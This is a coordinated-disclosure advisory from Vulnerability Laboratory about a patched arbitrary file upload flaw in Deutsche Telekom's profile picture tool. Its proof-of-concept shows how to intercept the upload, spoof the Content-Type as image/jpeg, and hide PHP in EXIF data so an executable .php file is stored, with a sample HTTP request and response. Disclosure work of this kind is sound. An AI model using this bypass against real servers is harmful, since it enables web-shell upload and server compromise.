[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

German Telekom Bug Bounty #10 - Arbitrary File Upload Vulnerability

Document Title:
German Telekom Bug Bounty #10 - Arbitrary File Upload Vulnerability

References (Source):

Dev Article: http://www.vulnerability-db.com/dev/index.php/2014/02/06/german-telekom-bug-bounty-3x-remote-vulnerabilities/

Exclusive News: http://news.softpedia.com/news/Expert-Finds-SQL-Injection-and-RCE-Vulnerabilities-in-Deutsche-Telekom-Systems-424518.shtml

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Product & Service Introduction:
Deutsche Telekom AG (English: German Telecom) is a German telecommunications company headquartered in Bonn, 
North Rhine-Westphalia, Germany. Deutsche Telekom was formed in 1996 as the former state-owned monopoly 
Deutsche Bundespost was privatized. As of June 2008, the German government still holds a 15% stake in company 
stock directly, and another 17% through the government bank KfW.

(Copy of the Homepage: http://en.wikipedia.org/wiki/Deutsche_Telekom  &  http://www.telekom.com/bug-bounty  )

Abstract Advisory Information:
The Vulnerability Laboratory Research Team discovered an arbitrary file upload web vulnerability in an official German Telekom website web-application.

Vulnerability Disclosure Timeline:
2013-12-30: Researcher Notification & Coordination (Ibrahim Mosaad El-Sayed)
2013-12-30: Vendor Notification (Telekom CERT Security Team)
2014-01-02: Vendor Response/Feedback (Telekom CERT Security Team)
2014-01-24: Vendor Fix/Patch (Telekom Developer Team - Reward 1000€)
2014-02-04: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
Deutsche Telekom (German Telecom)
Product: Profil Bild Online Service - Web Application 2014 Q1

Exploitation Technique:

Severity Level:

Technical Details & Description:
An arbitrary file upload web vulnerability has been discovered in the official German Telecom Profile Picture tool website web application.
The web vulnerability allows remote attackers to upload an arbitrary (malicious) file to compromise the dbms, website or web-server system. 

The arbitrary file upload vulnerability is located in `/scripts/php/process.php` file. After executing the query through the process.php 
page, the query result can be seen from `/scripts/php/downloadImage.php`. Remote attackers are able to manipulate the POST method request 
with of the process.php file to upload unauhorized own malicious files. 

Exploitation of the remote web vulnerability requires no user interaction and also no privileged web application user account.
Successful exploitation of the arbitrary file upload vulnerability results in web-server, web module, website or dbms compromise.

Vulnerable Module(s):

				[+] profilbildtool
Vulnerable File(s):
				[+] /scripts/php/process.php

Proof of Concept (PoC):
The arbitrary file upload vulnerability can be exploited by remote attackers without privileged application user account 
and without required user inter action. For security demonstration or to reproduce the web vulnerability follow the provided 
information and steps below.

a) The attacker should visit the main page 
    http://profilbildtool.telekom.de/imagecropper.php?lang=en to create an image using the system
b) In Choose network section: Twitter can be chosen as our network
c) In Type of activity: 
    1) "Official use" radio button should be used
2) "Lead accounts" from the dropdown menu
3) The country should be chosen is "Austria AT"
4) in Select Logo: "T-Systems" should be used 
d) Types of background
1) Choose "Picture" for background 
2) Browse and choose a specially crafted php or exe file. For example, we will use test.php
3) Press upload
    At this point we should intercept the request and change
Content-Type: text/php to Content-Type: image/jpeg 
This will help us to bypass the type checking on the server Side
The other constraint is the size of the file, We can change this by generating a specially crafted php file where 
the php code is in the EXIF section of the file. By this, the file will run as php correctly once its extension is php.

Our request will be similiar to this ...

POST /scripts/php/process.php HTTP/1.1
Host: profilbildtool.telekom.de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://profilbildtool.telekom.de/uplFrame.php
Cookie: PHPSESSID=rf4kuenldjmr24q77bv293q503; BIGipServerRD-10_po_UKS_Internet=rd10o00000000000000000000ffffac1c0a2fo8080
Connection: keep-alive
Content-Type: multipart/form-data; 
Content-Length: 10355

Content-Disposition: form-data; name="MAX_FILE_SIZE"

form-data; name="upImg"; filename="test.php"
Content-Type: image/jpeg

[The file content] 

It should has the header of an image to bypass the type checking also 
The response of this file request will be similiar to 

HTTP/1.1 200 OK
Date: Mon, 30 Dec 2013 05:23:44 GMT
Server: Apache
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Content-Length: 65
Content-Type: text/html; charset=UTF-8
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
<img src="../../tmp/thmb_aef0de6638bc51419334299c100bb095.php" />

The extension of the uploaded file depends on the extension in the name of our file.
This gives us the ability to upload any file type we want to upload.

Security Risk:
The security risk of the arbitrary file upload web vulnerability is estimated as high(+).

Credits & Authors:
Vulnerability Laboratory [Research Team] - Ibrahim Mosaad El-Sayed (ibrahim@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.evolution-sec.com
Contact:    admin@xxxxxxxxxxxxxxxxxxxxx 	- research@xxxxxxxxxxxxxxxxxxxxx 	       - admin@xxxxxxxxxxxxxxxxx
Section:    www.vulnerability-lab.com/dev 	- forum.vulnerability-db.com 		       - magazine.vulnerability-db.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact (admin@xxxxxxxxxxxxxxxxxxxxx or research@xxxxxxxxxxxxxxxxxxxxx) to get a permission.

				Copyright © 2014 | Vulnerability Laboratory [Evolution Security]

DOMAIN: www.vulnerability-lab.com
CONTACT: research@xxxxxxxxxxxxxxxxxxxxx